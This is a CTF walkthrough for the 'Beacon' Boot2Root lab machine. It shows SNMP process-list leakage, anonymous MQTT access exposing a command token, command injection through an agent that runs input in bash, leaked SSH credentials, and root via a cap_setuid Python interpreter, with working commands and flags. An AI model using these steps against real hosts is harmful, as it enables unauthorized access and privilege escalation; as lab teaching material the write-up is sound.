Skip to content
Adam Omar Saleh

RSEC CTF placeholder badge (unofficial)RSEC CTFBoot2Root

Beacon

SNMP (public, v1) leaks the running process list, which exposes an MQTT "beacon" agent listening on beacon/ctrl/a7f3/exec.

Competition
RSEC CTF placeholder badge (unofficial)RSEC CTF
Category
Boot2RootEasy
Source status
Source-documented · not platform-verified
Document
PDF edition3 min read

Brief

The challenge

Category
Machines / Boot2Root
Difficulty
Easy
Points
100 (50 user + 50 root)
Target
20.20.4.6 (VPN)

Beacon is on the network. Find your way in and take control.

Challenge page
Challenge page

TL;DR

SNMP (public, v1) leaks the running process list, which exposes an MQTT "beacon" agent listening on beacon/ctrl/a7f3/exec. The MQTT broker also publishes the agent's command token on a telemetry topic. Publishing {"token": ..., "action": "<cmd>"} to the control topic gives remote command execution as the beacon user. The app's config.ini leaks the operator SSH password → user flag. operator can run /usr/local/bin/pyctl (a Python interpreter carrying cap_setuid=ep); os.setuid(0) turns that into root → root flag.

Text
SNMP public → process list → MQTT agent + token → RCE as beacon→ config.ini → operator creds → user.txt→ pyctl (cap_setuid) → os.setuid(0) → root → /run/owl/flag

01

Recon

A quick nmap against the target shows very little:

Text
22/tcp   open  ssh    OpenSSH 8.9p1 Ubuntu199/tcp  open  smux   Linux SNMP multiplexer

Port 199 (smux) is the giveaway that snmpd is running. SNMP almost always means UDP 161, so the real surface is SNMP — fitting the name "Beacon".

02

SNMP enumeration

The community string public works with SNMP v1 (v2c times out):

Shell
snmpwalk -v1 -c public 20.20.4.6 .1

The host is a Docker container (e02cd58cdd17). The HOST-RESOURCES-MIB process table (1.3.6.1.2.1.25.4.2.1.5) leaks the full command lines of running services:

Text
/usr/bin/supervisord -c /etc/supervisor/conf.d/beacon.conf/opt/beacon/agent.py --cmd-topic beacon/ctrl/a7f3/exec --telemetry beacon/telemetry/usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf/opt/beacon/publisher.py/usr/sbin/snmpd ...sshd ...

So there is a Mosquitto MQTT broker plus a custom agent that subscribes to the control topic beacon/ctrl/a7f3/exec. SNMP also lists a storage path /run/owl/flag.

03

MQTT: finding the command channel

Mosquitto (1883/tcp) allows anonymous access. Subscribing to everything reveals the telemetry — and a provisioning heartbeat that leaks the command token:

Shell
mosquitto_sub -h 20.20.4.6 -t '#' -v# beacon/telemetry/provisioning {"event":"heartbeat","fw":"2.4.1",#   "cmd_token":"954e4ca913057c896162b451e5a357db96fcb0d2"}

The exact message schema the agent expects wasn't known, so the envelope was brute-forced by publishing many {<tokenfield>: token, <cmdfield>: cmd} combinations, each running a command that published a unique marker back to the broker over localhost. One fired:

Text
token + action  →  {"token":"<token>","action":"<shell command>"}

The leaked agent.py later confirmed it exactly:

Python
if data.get('token') != token: returnaction = data.get('action')subprocess.Popen(['/bin/bash', '-lc', str(action)])

That is unauthenticated RCE as beacon (uid 999). Output is exfiltrated by having the payload re-publish results to a beacon/loot topic on the broker's localhost.

04

User flag — leaked operator credentials

As beacon, /opt/beacon/config.ini is readable:

INI
[operations]admin_user = operatoradmin_pass = B3ac0n_0ps!_2024

SSH over the VPN hung on key exchange (MTU/fragmentation), so instead the existing MQTT RCE was used to su - operator through a PTY with the leaked password:

Text
operator@e02cd58cdd17:~$ cat user.txtRSEC{b55f135bb0bdddb128d804367fd7b451}

05

Root flag — pyctl capability

operator cannot sudo. Enumerating capabilities finds the privilege escalation:

Shell
getcap -r / 2>/dev/null# /usr/local/bin/pyctl cap_setuid=ep

pyctl is a ~5.9 MB Python interpreter (pyctl --help prints Python's own usage), executable by group operator, with CAP_SETUID in its effective set (CapEff: 0000000000000080). That is textbook GTFOBins: a setuid-capable Python lets you become root.

Shell
/usr/local/bin/pyctl -c 'import os; os.setuid(0); print(open("/run/owl/flag").read())'# NOWUID=0# RSEC{0ca6ba12175848fb97e99728771ba003}

(Note: calling os.setgid(0) as well fails with EPERM — only CAP_SETUID is granted, not CAP_SETGID — so use setuid(0) alone.)

Flags

User

RSEC{b55f135bb0bdddb128d804367fd7b451}

Root

RSEC{0ca6ba12175848fb97e99728771ba003}

Source-documented · not platform-verified

Tooling notes

VPN + scanning were run from WSL Ubuntu (openvpn, nmap, snmp, mosquitto-clients). Helper scripts in this folder:

  • run.sh / runraw.sh — send a command to the MQTT agent and collect output via beacon/loot.

  • payload.sh — the on-target bash/Python payload (PTY su, pyctl setuid).

  • cmd.txt — the current command fed to run.sh.

PDF edition

Writeup PDF

Formatted edition of this walkthrough, built from my source notes · 4 pages.